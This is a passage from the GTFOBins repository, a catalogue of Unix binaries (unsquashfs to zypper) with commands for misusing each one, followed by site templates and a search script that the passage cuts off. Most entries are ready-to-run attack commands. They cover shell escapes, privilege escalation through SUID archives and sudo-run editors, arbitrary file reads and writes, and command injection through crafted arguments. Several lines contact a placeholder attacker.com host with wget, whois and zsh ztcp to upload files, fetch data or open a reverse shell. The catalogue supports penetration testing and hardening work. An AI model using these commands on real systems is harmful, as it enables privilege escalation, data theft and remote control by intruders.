    "content": "---\ncomment: |-\n  `unsquashfs` preserve the SUID bit when extracting the file system. For example, prepare an archive beforehand with the following commands as root:\n\n  ```\n  cp /bin/sh .\n  chmod +s sh\n  mksquashfs sh shell\n  ```\nfunctions:\n  privilege-escalation:\n  - code: |-\n      unsquashfs shell\n      ./squashfs-root/sh -p\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/unzip",
    "content": "---\ncomment: |-\n  Certain `unzip` versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root:\n\n  ```\n  cp /bin/sh .\n  chmod +s sh\n  zip shell.zip sh\n  ```\nfunctions:\n  privilege-escalation:\n  - code: |-\n      unzip -K shell.zip\n      ./sh -p\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/update-alternatives",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0\n    comment: |-\n      Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/urlget",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      urlget - /path/to/input-file\n    comment: |-\n      This is part of `gettext` and usually not in `PATH`, e.g., on Arch it can be found at `/usr/lib/gettext/urlget`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/uuencode",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      uuencode /path/to/input-file /dev/stdout | uudecode\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/uv",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      uv run /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/vagrant",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >Vagrantfile\n      vagrant up\n    comment: |-\n      This allows to run Ruby code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/valgrind",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      valgrind /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/varnishncsa",
    "content": "---\ncomment: |-\n  A running `varnishd` instance must be available.\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      varnishncsa -g request -q 'ReqURL ~ \"/xxxxxxxxxx\"' -F '%{yyy}i' -w /path/to/output-file\n    comment: |-\n      The command hangs, so the trigger command must be performed asynchronously or in another terminal:\n\n      ```\n      curl -H 'xxx: DATA' http://localhost:6081/xxxxxxxxxx\n      ```\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/vi",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      vi /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      vi /path/to/output-file\n      iDATA\n      ^[\n      w\n    comment: |-\n      Where `^[` is the escape key.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      vi -c ':!/bin/sh' /dev/null\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      vi -c ':shell'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      vi -c ':set shell=/bin/sh | shell'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          vi -c ':set shell=/bin/sh\\ -p | shell'\n        shell: false\n      unprivileged:\n  - code: |-\n      vi -c :terminal /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          vi -c ':terminal /bin/sh -p'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/view",
    "content": "---\nalias: vim\n...\n"
  },
  {
    "path": "_gtfobins/vigr",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      vigr\n    comment: |-\n      Despite requiring superuser privileges to run, the editor is executed as the unprivileged user.\n    contexts:\n      sudo:\n      suid:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/vim",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      vim -c ':redir! >/path/to/output-file | echo \"DATA\" | redir END | q'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      vim -c ':py ...'\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: python\n  - code: |-\n      vim -c ':lua ...'\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n  - code: |-\n      vim\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/vimdiff",
    "content": "---\nalias: vim\n...\n"
  },
  {
    "path": "_gtfobins/vipw",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      vipw\n    comment: |-\n      Despite requiring superuser privileges to run, the editor is executed as the unprivileged user.\n    contexts:\n      sudo:\n      suid:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/virsh",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      cat >/path/to/temp-file.xml <<EOF\n      <domain type='kvm'>\n        <name>x</name>\n        <os>\n          <type arch='x86_64'>hvm</type>\n        </os>\n        <memory unit='KiB'>1</memory>\n        <devices>\n          <interface type='ethernet'>\n            <script path='/path/to/command'/>\n          </interface>\n        </devices>\n      </domain>\n      EOF\n      virsh -c qemu:///system create /path/to/temp-file.xml\n      virsh -c qemu:///system destroy x\n    contexts:\n      sudo:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n\n      cat >/path/to/temp-file.xml <<EOF\n      <volume type='file'>\n        <name>y</name>\n        <key>/path/to/output-dir/output-file</key>\n        <source>\n        </source>\n        <capacity unit='bytes'>5</capacity>\n        <allocation unit='bytes'>4096</allocation>\n        <physical unit='bytes'>5</physical>\n        <target>\n          <path>/path/to/output-dir/output-file</path>\n          <format type='raw'/>\n          <permissions>\n            <mode>0600</mode>\n            <owner>0</owner>\n            <group>0</group>\n          </permissions>\n        </target>\n      </volume>\n      EOF\n\n      virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/\n      virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml\n      virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file\n      virsh -c qemu:///system pool-destroy x\n    comment: |-\n      This requires the user to be in the `libvirt` group. If the target directory doesn't exist, `pool-create-as` must be run with the `--build` option. The destination file ownership and permissions can be set in the XML.\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/\n      virsh -c qemu:///system vol-download --pool x input-file output-file\n      virsh -c qemu:///system pool-destroy x\n    comment: |-\n      This requires the user to be in the `libvirt` group.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/volatility",
    "content": "---\ncomment: |-\n  This allows to run Python code (`...`). Some valid core dump file is required, if not available, can be uploaded to the target.\nfunctions:\n  inherit:\n  - code: |-\n      volatility -f /path/to/core-dump volshell\n      ...\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/w3m",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      w3m -dump /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/wall",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      wall --nobanner /path/to/input-file\n    comment: |-\n      The textual file is dumped on the current TTY (neither to `stdout` nor to `stderr`).\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/watch",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      watch -x /bin/sh -c 'reset; exec /bin/sh 1>&0 2>&0'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          watch -x /bin/sh -p -c 'reset; exec /bin/sh -p 1>&0 2>&0'\n        shell: false\n      unprivileged:\n  - code: |-\n      watch 'reset; exec /bin/sh 1>&0 2>&0'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/wc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      wc --files0-from /path/to/input-file\n    comment: |-\n      The file content is parsed as a sequence of `\\x00` separated paths. On error the file content appears in a message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/wg-quick",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cat >/path/to/temp-file.conf <<EOF\n      [Interface]\n      PostUp = /bin/sh\n      EOF\n\n      wg-quick up /path/to/temp-file.conf\n    comment: |-\n      Use `wg-quick down /path/to/temp-file.conf` in order to be able to run the shell again.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/wget",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      wget http://attacker.com/path/to/input-file -O /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - binary: false\n    code: |-\n      wget -i /path/to/input-file\n    comment: |-\n      The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      wget -i /path/to/input-file -o /path/to/output-file\n    comment: |-\n      The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo -e '#!/bin/sh\\n/bin/sh 1>&0' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      wget --use-askpass=/path/to/temp-file 0\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          echo -e '#!/bin/sh -p\\n/bin/sh -p 1>&0' >/path/to/temp-file\n          chmod +x /path/to/temp-file\n          wget --use-askpass=/path/to/temp-file 0\n        shell: false\n      unprivileged:\n  upload:\n  - code: |-\n      wget --post-file=/path/to/input-file http://attacker.com\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n  - code: |-\n      wget --post-data=DATA http://attacker.com\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n...\n"
  },
  {
    "path": "_gtfobins/whiptail",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      whiptail --textbox --scrolltext /path/to/input-file 0 0\n    comment: |-\n      The file is shown in an interactive TUI dialog made for displaying text, arrows can be used to scroll long content.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/whois",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      whois -h attacker.com -p 12345 x\n    comment: |-\n      Received data has instances of the `\\r` byte stripped.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-server\n  upload:\n  - binary: false\n    code: |-\n      whois -h attacker.com -p 12345 DATA\n    comment: |-\n      Data is converted to lower case, and has a trailing `\\r\\n`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/wireshark",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      wireshark -c 1 -i lo -k -f 'udp port 12345' &\n      echo DATA | nc -u 127.127.127.127 12345\n    comment: |-\n      This technique can be used to write arbitrary files, i.e., the dump of one UDP packet.\n\n      After starting Wireshark, and waiting for the capture to begin, deliver the UDP packet, e.g., with `nc` (see below). The capture then stops and the packet dump can be saved:\n\n      1. select the only received packet;\n\n      2. right-click on \"Data\" from the \"Packet Details\" pane, and select \"Export Packet Bytes...\";\n\n      3. choose where to save the packet dump.\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      wireshark\n    comment: |-\n      This requires GUI interaction. Start Wireshark, then from the main menu, select \"Tools\" -> \"Lua\" -> \"Evaluate\". A window opens that allows to execute Lua code.\n    contexts:\n      sudo:\n      unprivileged:\n    from: lua\n...\n"
  },
  {
    "path": "_gtfobins/wish",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      wish\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: tclsh\n...\n"
  },
  {
    "path": "_gtfobins/xargs",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      xargs -a /path/to/input-file -0\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n  shell:\n  - code: |-\n      xargs -a /dev/null /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          xargs -a /dev/null /bin/sh -p\n        shell: false\n      unprivileged:\n    version: |-\n      GNU\n  - code: |-\n      xargs -a /dev/null /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          xargs -a /dev/null /bin/sh -p\n        shell: false\n      unprivileged:\n  - code: |-\n      echo x | xargs -o -a /dev/null /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          echo x | xargs -o -a /dev/null /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xdg-user-dir",
    "content": "---\ncomment: |-\n  The current implementation of `xdg-user-dir` is basically `eval echo \\${XDG_${1}_DIR:-$HOME}`, thus is can be easily used to achieve command execution.\nfunctions:\n  shell:\n  - code: |-\n      xdg-user-dir '}; /bin/sh #'\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xdotool",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  shell:\n  - code: |-\n      xdotool exec --sync /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          xdotool exec --sync /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xelatex",
    "content": "---\nalias: latex\n...\n"
  },
  {
    "path": "_gtfobins/xetex",
    "content": "---\nalias: tex\n...\n"
  },
  {
    "path": "_gtfobins/xmodmap",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      xmodmap -v /path/to/input-file\n    comment: |-\n      The read file content is corrupted by error prints.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xmore",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  file-read:\n  - code: |-\n      xmore /path/to/input-file\n    comment: |-\n      The file is displayed in a graphical window.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xpad",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  file-read:\n  - code: |-\n      xpad -f /path/to/input-file\n    comment: |-\n      The file is displayed in a graphical window.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xxd",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      xxd /path/to/input-file | xxd -r\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | xxd | xxd -r - /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/xz",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      xz -c /path/to/input-file | xz -d\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/yarn",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      yarn exec /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      echo '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' >package.json\n      yarn --cwd .\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      echo '{\"scripts\": {\"xxx\": \"/bin/sh\"}}' >package.json\n      yarn --cwd . xxx\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/yash",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      yash\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/yelp",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      yelp man:/path/to/input-file\n    comment: |-\n      This spawns a graphical window containing the file content somehow corrupted by word wrapping.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/yt-dlp",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      yt-dlp 'https://www.youtube.com/watch?v=xxxxxxxxxxx' --exec '/bin/sh #'\n    comment: |-\n      The URL must point to a valid YouTube video which will be actually downloaded.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/yum",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      yum localinstall -y x-1.0-1.noarch.rpm\n    comment: |-\n      Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo /path/to/command >x.sh\n      fpm -n x -s dir -t rpm -a all --before-install .x.sh .\n      ```\n    contexts:\n      sudo:\n  download:\n  - code: |-\n      yum install http://attacker.com/path/to/input-file.rpm\n    comment: |-\n      The file on the remote host must have the `.rpm` extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp/yum-root-xxxxxx/`.\n    contexts:\n      sudo:\n    sender: http-server\n  inherit:\n  - code: |-\n      cat >/path/to/temp-dir/x<<EOF\n      [main]\n      plugins=1\n      pluginpath=/path/to/temp-dir/\n      pluginconfpath=/path/to/temp-dir/\n      EOF\n\n      cat >/path/to/temp-dir/y.conf<<EOF\n      [main]\n      enabled=1\n      EOF\n\n      cat >/path/to/temp-dir/y.py<<EOF\n      import yum\n      from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\n      requires_api_version='2.1'\n      def init_hook(conduit):\n        ...\n      EOF\n\n      yum -c /path/to/temp-dir/x --enableplugin=y\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/zathura",
    "content": "---\ncomment: |-\n  This requires a running X server.\nfunctions:\n  shell:\n  - code: |-\n      zathura\n      :! /bin/sh -c 'exec /bin/sh 0<&1'\n    comment: |-\n      The interaction happens in a GUI window, while the shell is dropped in the terminal.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zcat",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      zcat -f /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zgrep",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      grep '' /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zic",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file\n      echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file\n      zic -d . -y /path/to/command /path/to/temp-file\n    comment: |-\n      This executes the command twice:\n\n      - `/path/to/command 0 xxx`\n      - `/path/to/command 1 xxx`\n\n      Additionally the `Test` file is created.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zip",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      zip /path/to/temp-file /path/to/input-file\n      unzip -p /path/to/temp-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zless",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      zless /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/zsh",
    "content": "---\nfunctions:\n  download:\n  - binary: false\n    code: |-\n      zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(<&$REPLY)\" >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-server\n  file-read:\n  - binary: false\n    code: |-\n      zsh -c 'echo \"$(</path/to/input-file)\"'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      zsh -c '</path/to/input-file'\n    comment: |-\n      This spawns a pager if run in a TTY.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      zsh -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      zsh -c '</etc/hosts'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  reverse-shell:\n  - code: |-\n      zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      zsh\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  upload:\n  - binary: false\n    code: |-\n      zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(</path/to/input-file)\" >&$REPLY'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/zsoelim",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      zsoelim /path/to/input-file\n    comment: |-\n      The content is actually parsed and corrupted by the command.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/zypper",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cp /bin/sh /usr/lib/zypper/commands/zypper-x\n      zypper x\n    comment: |-\n      The copy usually requires elevated privileges.\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      cp /bin/sh /path/to/temp-dir/zypper-x\n      PATH=$PATH:/path/to/temp-dir/ zypper x\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_includes/description_table.html",
    "content": "{%- comment -%} creates a table for functions or contexts {%- endcomment -%}\n<table class=\"description-table\">\n  <tbody>\n    {%- for _object_item in include.objects -%}\n        {%- assign _object_name = _object_item[0] -%}\n        {%- assign _object = _object_item[1] -%}\n        <tr>\n            <th>{{ _object.label }}</th>\n            <td>{{ _object.description | markdownify }}</td>\n        </tr>\n    {%- endfor -%}\n  </tbody>\n</table>\n"
  },
  {
    "path": "_includes/function_list.html",
    "content": "{%- comment -%} build the list of functions along with the provided contexts {%- endcomment -%}\n<ul class=\"tag-list\">\n    {%- comment -%} render the functions of this executable (not inherited) {%- endcomment -%}\n    {%- for _function_item in site.data.functions -%}\n        {%- assign _function_name = _function_item[0] -%}\n        {%- assign _function = _function_item[1] -%}\n        {%- unless include.functions contains _function_name -%}{%- continue -%}{%- endunless -%}\n\n        {%- comment -%} for each function extract the contexts of its examples {%- endcomment -%}\n        {%- assign _examples = include.functions[_function_name] -%}\n        {%- include get_contexts_label.html examples=_examples -%}\n\n        <li data-function-name=\"{{ _function.label }}\" data-function-contexts=\"{{ return_contexts }}\">\n            <a href=\"{{ include.gtfobin.url | relative_url }}#{{ _function_name }}\">{{ _function.label }}</a>\n        </li>\n    {%- endfor -%}\n\n    {%- comment -%} for each example that inherits another executable {%- endcomment -%}\n    {%- assign _inherited_functions = '' | split: '' -%}\n    {%- for _example in include.functions.inherit -%}\n        {%- include get_gtfobin.html name=_example.from -%}\n        {%- assign _gtfobin = return_gtfobin -%}\n\n        {%- comment -%} for each function of the inherited executable {%- endcomment -%}\n        {%- for _function_item in _gtfobin.functions -%}\n            {%- assign _function_name = _function_item[0] -%}\n            {%- assign _function = _function_item[1] -%}\n\n            {%- comment -%} take note of the function name {%- endcomment -%}\n            {%- assign _inherited_functions = _inherited_functions | push: _function_name -%}\n        {%- endfor -%}\n    {%- endfor -%}\n\n    {%- comment -%} render the inherited functions of this executable {%- endcomment -%}\n    {%- for _function_item in site.data.functions -%}\n        {%- assign _function_name = _function_item[0] -%}\n        {%- assign _function = _function_item[1] -%}\n        {%- unless _inherited_functions contains _function_name -%}{%- continue -%}{%- endunless -%}\n\n        <li class=\"inherit\" title=\"This function is inherited\" data-function-name=\"{{ _function.label }}\" data-function-contexts=\"\">\n            <a href=\"{{ include.gtfobin.url | relative_url }}#inherit\">{{ _function.label }}</a>\n        </li>\n    {%- endfor -%}\n</ul>\n"
  },
  {
    "path": "_includes/get_contexts_label.html",
    "content": "{%- comment -%} return all the contexts of the given examples {%- endcomment -%}\n{%- assign _default_context_label = site.data.contexts | first | last | map: 'label'%}\n{%- assign return_contexts = '' | split: '' -%}\n{%- for _example in include.examples -%}\n    {%- for _context_item in _example.contexts -%}\n        {%- assign _context_name = _context_item[0] -%}\n        {%- assign _context = _context_item[1] -%}\n        {%- assign return_contexts = return_contexts | push: site.data.contexts[_context_name].label -%}\n    {%- else -%}\n        {%- assign return_contexts = return_contexts | push: _default_context_label -%}\n    {%- endfor -%}\n{%- endfor -%}\n{%- assign return_contexts = return_contexts | uniq | join: \",\" -%}\n"
  },
  {
    "path": "_includes/get_gtfobin.html",
    "content": "{%- comment -%} lookup a gtfobin by name and return it via the return_gtfobin and return_gtfobin_name variables {%- endcomment -%}\n{%- for _gtfobin in site.gtfobins -%}\n    {%- capture _gtfobin_name -%}{%- include get_gtfobin_name.html path=_gtfobin.path -%}{%- endcapture -%}\n    {%- if _gtfobin_name == include.name -%}\n        {%- assign return_gtfobin_name = _gtfobin_name -%}\n        {%- assign return_gtfobin = _gtfobin -%}\n        {%- break -%}\n    {%- endif -%}\n{%- endfor -%}\n"
  },
  {
    "path": "_includes/get_gtfobin_name.html",
    "content": "{%- comment -%} get the name from the path {%- endcomment -%}\n{{- include.path | split: '/' | last -}}\n"
  },
  {
    "path": "_includes/gtfobins_table.html",
    "content": "<div id=\"search-toolbox\">\n    <fieldset>\n        <legend>Functions</legend>\n        <ul class=\"search-filters tag-list\">\n            {%- for function_item in site.data.functions -%}\n                {%- assign function_name = function_item[0] -%}\n                {%- assign function = function_item[1] -%}\n                <li><a href=\"#/^{{ function.label | downcase }}$/\" data-title=\"{{ function.description | replace: '\\n', ' ' }}\">{{ function.label }}</a></li>\n            {%- endfor -%}\n        </ul>\n    </fieldset>\n\n    <fieldset>\n        <legend>Contexts</legend>\n        <ul class=\"search-filters tag-list\">\n            {%- for context_item in site.data.contexts -%}\n                {%- assign context_name = context_item[0] -%}\n                {%- assign context = context_item[1] -%}\n                <li><a href=\"#//^{{ context.label | downcase }}$\" data-title=\"{{ context.description | replace: '\\n', ' ' }}\">{{ context.label }}</a></li>\n            {%- endfor -%}\n        </ul>\n    </fieldset>\n\n    <fieldset>\n        <legend>Filter</legend>\n        <input type=\"text\" spellcheck=\"false\" placeholder=\"Search among {{ site.gtfobins | size }} executables: [<name>]/[<function>]/[<context>]\"/>\n    </fieldset>\n</div>\n\n<div id=\"gtfobin-table-wrapper\">\n    <table id=\"gtfobin-table\">\n        <thead>\n            <tr>\n                <th>Executable</th>\n                <th>Functions</th>\n            </tr>\n        </thead>\n        <tbody>\n            {%- for original_gtfobin in site.gtfobins -%}\n                {%- comment -%} fetch the name from the path {%- endcomment -%}\n                {%- capture gtfobin_name -%}{%- include get_gtfobin_name.html path=original_gtfobin.path -%}{%- endcapture -%}\n\n                {%- comment -%}skip old-version files{%- endcomment -%}\n                {%- assign extension = gtfobin_name | split: '.' | last -%}\n                {%- if extension == 'md' -%}\n                    {%- continue -%}\n                {%- endif -%}\n\n                {%- comment -%} resolve the alias, if provided {%- endcomment -%}\n                {%- if original_gtfobin.alias -%}\n                    {%- include get_gtfobin.html name=original_gtfobin.alias -%}\n                    {%- assign gtfobin = return_gtfobin -%}\n                {%- else -%}\n                    {%- assign gtfobin = original_gtfobin -%}\n                {%- endif -%}\n\n                {%- comment -%} render the row {%- endcomment -%}\n                <tr data-gtfobin-name=\"{{ gtfobin_name }}\">\n                    <th><a href=\"{{ original_gtfobin.url | relative_url }}\" class=\"bin-name\">{{ gtfobin_name }}</a></th>\n                    <td>{%- include function_list.html gtfobin=original_gtfobin functions=gtfobin.functions -%}</td>\n                </tr>\n            {%- endfor -%}\n        </tbody>\n        <tfoot>\n            <tr><td colspan=\"2\">No matches!</td></tr>\n        </tfoot>\n    </table>\n</div>\n\n<script>\n    function filter(query) {\n        // extract query components\n        const [namePattern, functionPattern, contextPattern] = query.toLowerCase().split('/', 3).map((pattern) => {\n            try {\n                if (pattern) {\n                    return new RegExp(pattern, 'i');\n                } else {\n                    return undefined;\n                }\n            } catch {\n                return undefined;\n            }\n        });\n\n        // hide the table during the filtering to avoid unnecessary layout reflows\n        const table = document.querySelector('#gtfobin-table');\n        table.classList.add('hidden');\n\n        // filter rows\n        let nResults = 0;\n        for (const row of table.querySelectorAll('tbody tr')) {\n            // show the row by default\n            let showRow = true;\n\n            // if the executable name does not match do not show the row\n            if (namePattern && !namePattern.test(row.dataset.gtfobinName)) {\n                showRow = false;\n            }\n            // if there are function filters at least one mush match\n            else {\n                // fetch the functions buttons\n                const functionElems = row.children[1].firstElementChild.children;\n\n                // reset functions buttons visibility\n                for (const functionElem of functionElems) {\n                    